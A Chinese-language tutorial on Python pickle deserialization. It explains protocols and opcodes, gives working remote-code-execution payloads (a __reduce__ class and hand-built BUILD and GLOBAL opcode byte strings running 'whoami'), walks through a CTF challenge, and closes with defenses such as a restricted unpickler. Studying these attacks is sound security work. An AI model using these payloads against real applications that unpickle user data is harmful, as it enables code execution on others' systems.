Python pickle 反序列化详解
字数 1413 2025-08-15 21:34:01
Python Pickle 反序列化安全详解
1. Pickle 基础概念
1.1 什么是 Pickle 反序列化
Pickle 是 Python 的标准模块,用于实现对象的序列化和反序列化:
- 序列化:将 Python 对象转换为字节流
- 反序列化:将字节流还原为 Python 对象
与 PHP 反序列化类似,Pickle 可以保存程序运行时状态,包括变量、字典和对象实例等。
1.2 Pickle 协议版本
Pickle 有多个协议版本,不同版本特性不同:
| 版本 | 引入版本 | 特性 |
|---|---|---|
| v0 | 原始版本 | 人类可读,兼容早期 Python |
| v1 | - | 较早的二进制格式 |
| v2 | Python 2.3 | 支持 new-style class |
| v3 | Python 3.0 | 支持 bytes 对象,不兼容 Python 2.x |
| v4 | Python 3.4 | 支持大对象,存储更多对象类型 |
默认使用 v3 协议,v4 是最新推荐协议。
2. Pickle 基本使用
2.1 核心方法
import pickle
# 序列化方法
pickle.dumps(obj) # 对象→字节流
pickle.dump(obj, file) # 对象→文件
# 反序列化方法
pickle.loads(bytes) # 字节流→对象
pickle.load(file) # 文件→对象
2.2 序列化示例
a_list = ['a', 'b', 'c']
print(pickle.dumps(a_list, protocol=0)) # 人类可读格式
print(pickle.dumps(a_list, protocol=3)) # 默认格式
print(pickle.dumps(a_list, protocol=4)) # 最新格式
3. Pickle 指令分析
3.1 使用 pickletools 分析
import pickle
import pickletools
a_list = ['a', 'b', 'c']
a_list_pickle = pickle.dumps(a_list, protocol=0)
# 优化序列化数据
a_list_pickle = pickletools.optimize(a_list_pickle)
# 反汇编指令
pickletools.dis(a_list_pickle)
3.2 关键指令说明
| 指令 | 代码 | 功能 |
|---|---|---|
| MARK | '(' | 压入标记对象到栈 |
| STOP | '.' | 结束 pickle 流 |
| REDUCE | 'R' | 调用 reduce 方法 |
| GLOBAL | 'c' | 导入全局对象 (module.attr) |
| BUILD | 'b' | 通过 setstate 或 dict.update 构建对象 |
| APPEND | 'a' | 添加元素到列表 |
| SETITEMS | 'u' | 添加键值对到字典 |
4. Pickle 反序列化漏洞
4.1 reduce 方法利用
最常用的 RCE 方法,当对象被反序列化时自动调用:
import pickle
class Exploit:
def __reduce__(self):
return (__import__('os').system, ('whoami',))
payload = pickle.dumps(Exploit(), protocol=3)
pickle.loads(payload) # 执行系统命令
4.2 BUILD 指令利用
通过修改对象的 setstate 方法实现 RCE:
# 手工构造 payload
payload = b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'
# 反序列化执行
pickle.loads(payload)
4.3 GLOBAL 指令利用
利用 c 指令码调用任意模块和属性:
# 覆盖 secret 模块变量示例
payload = b'\x80\x03c__main__\nflag\nq\x00)\x81}q\x01(X\x01\x00\x00\x00aq\x02csecret\na\nq\x03X\x01\x00\x00\x00bq\x04csecret\nb\nq\x05ub.'
5. 防御措施
-
避免反序列化不可信数据:永远不要反序列化不受信任的来源的数据
-
使用替代方案:
- 对于简单数据使用 json
- 对于复杂数据考虑使用其他安全序列化格式
-
限制 unpickler:
import pickle class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): # 只允许安全的模块和类 if module == 'builtins' and name in ('list', 'tuple', 'dict'): return getattr(__builtins__, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) RestrictedUnpickler(io.BytesIO(payload)).load() -
签名验证:如果必须传输 pickle 数据,添加 HMAC 签名验证数据完整性
6. 实际案例分析
6.1 CTF 常见题型
import secret
import pickle
class flag():
def __init__(self, a, b):
self.a = a
self.b = b
# 目标:构造 payload 使 other_flag 与 secret_flag 属性相同
your_payload = b'?'
other_flag = pickle.loads(your_payload)
secret_flag = flag(secret.a, secret.b)
if other_flag.a == secret_flag.a and other_flag.b == secret_flag.b:
print('flag{xxxxxx}')
解决方案:利用 GLOBAL 指令直接引用 secret 模块中的变量。
6.2 Web 应用中的利用
当 Web 应用使用 pickle 处理 session 或其它用户提供的数据时,可能通过构造恶意 pickle 数据实现 RCE。
7. 总结
Pickle 反序列化是一个强大的功能,但也带来了严重的安全风险:
- 可以执行任意代码(通过 reduce 或 BUILD)
- 可以访问和修改任意对象属性
- 漏洞利用构造相对简单
开发者应当充分了解其风险,在生产环境中谨慎使用,或选择更安全的替代方案。